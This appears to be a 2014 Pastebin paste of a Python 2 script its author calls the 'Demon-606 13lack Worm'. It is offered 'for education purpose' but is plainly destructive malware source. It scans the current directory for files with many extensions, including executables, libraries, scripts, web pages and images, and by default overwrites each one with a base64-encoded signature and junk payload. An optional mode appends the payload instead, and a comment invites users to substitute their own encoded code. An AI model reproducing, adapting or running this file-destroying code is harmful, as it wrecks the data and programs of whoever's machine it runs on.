Advertisement
tanmay606

python worm

Dec 6th, 2014
1,094
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.69 KB | None | 0 0
  1. # Demon-606 13lack Worm Code written by 13lackDeMon / Tanmay
  2. # FOR : Linux and Windows | Facebook : www.facebook.com/tanmay606
  3. # discription : this script infect all programs with virus code
  4. # which make all applications corrupt in current virus directory.
  5. # [+] this script is only for education purpose and i am not responsible
  6. # for any harm done by this script. this worm is very powerfull please handle this with care
  7. #----------------------------------------------------------------------------------------------------------------------------------------------------#
  8. from os import listdir,path,getcwd,system
  9. from time import sleep
  10. from colorama import Fore, Back
  11. from sys import exit
  12. os = 'linux' #type [ linux or LINUX ] or [ windows or WINDOWS ]
  13. signature = 'MTNsYWNrV29ybSBXcml0dGVuIEJ5IDEzbGFja0RlTW9uIC8gVGFubWF5'
  14. corrupt_or_justinject = 'CORRUPT' #type [ corrupt / CORRUPT ] to make all files corrupt or type [ inject / INJECT ] to just inject the code.
  15. code_to_inject = 'LC4vfiFAIyQlXiYqKCkpXyt7fVtdOjsiPCwuL34hQCMkJV4mKigpKV9OVUxMK3t9W106OyI8LC4vfiFAIyQlXiYqKCkpXyt7fVtdOjsiPA==' * 90
  16. #you can use your code also in [ code_to_inject ] just encode your code with base64 and put your encoded string :)
  17. #main part of this worm. enter your code which you want to inject in all files.
  18. vul_files = [] #handle all files found in directory with extentions. dont touch it.
  19. directory_to_infect = getcwd() #you can change this to your target dir
  20. files_ext_to_infect = ['sh','deb','zip','exe','dll','jpg','png','bmp','htm','html','desktop','php','jar','sys','txt','dat','ini','pl','rb','d','py']
  21. #worm will only work for extentions metion in [ files_ext_to_infect ]. you can add more extentions if you want.
  22. #----------------------------------------------------------------------------------------------------------------------------------------------------#
  23. #this part will find all files [extentions matching ] in given directory and store it in array : vul_files
  24. if(os == 'linux' or os == 'LINUX'):
  25. system('clear')
  26. pass
  27. elif(os == 'WINDOWS' or os == 'windows'):
  28. system('cls')
  29. pass
  30. else:
  31. print '[-] Invalid OS only [ linux and windows allowed ]'
  32. exit(1)
  33. print (Fore.YELLOW + '(+) WorM CoddER : 13lackDeMon / Tanmay\n' + Fore.RESET)
  34. print (Fore.BLUE + '(*) Demon-606 13lack Worm started . . . . \n' + Fore.RESET)
  35. sleep(2)
  36. for files in listdir(directory_to_infect):
  37. try:
  38. if(files.split('.')[1] in files_ext_to_infect):
  39. if(signature.decode('base64') in files):
  40. pass
  41. else:
  42. vul_files.append(files)
  43. del files
  44. else:
  45. pass
  46. del files
  47. except:
  48. pass
  49. del files
  50. for file in vul_files:
  51. if(corrupt_or_justinject == 'corrupt' or corrupt_or_justinject == 'CORRUPT'):
  52. try:
  53. f = open(file,'w')
  54. f.write(signature.decode('base64'))
  55. f.write(' ')
  56. f.write(code_to_inject.decode('base64'))
  57. f.close()
  58. print (Fore.RED + '[+] Code injected in %s Successfully. [ Corrupt = TRUE ]' + Fore.RESET)%file
  59. sleep(2)
  60. except:
  61. print (Back.RED + '[-] Unable to inject in %s [ Access Deniad ]' + Back.RESET)%file
  62. pass
  63. elif(corrupt_or_justinject == 'inject' or corrupt_or_justinject == 'INJECT'):
  64. try:
  65. f = open(file,'a+')
  66. f.write(signature.decode('base64'))
  67. f.write(code_to_inject.decode('base64'))
  68. f.close()
  69. print (Fore.RED + '[+] Code injected in %s Successfully. [ Corrupt = FALSE ]' + Fore.RESET) %file
  70. sleep(2)
  71. except:
  72. print (Back.RED + '[-] Unable to inject in %s [ Access Deniad ]' + Back.RESET)%file
  73. pass
  74. else:
  75. print (Back.RED + '[-] Error : Invalid Option Enter use only [1] inject [2] corrupt' + Back.RESET)
  76. break
  77. exit(1)
  78. print (Fore.BLUE + '(*) Demon-606 13lack Worm Stopped.' + Fore.RESET)
  79. sleep(2)
  80. exit(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement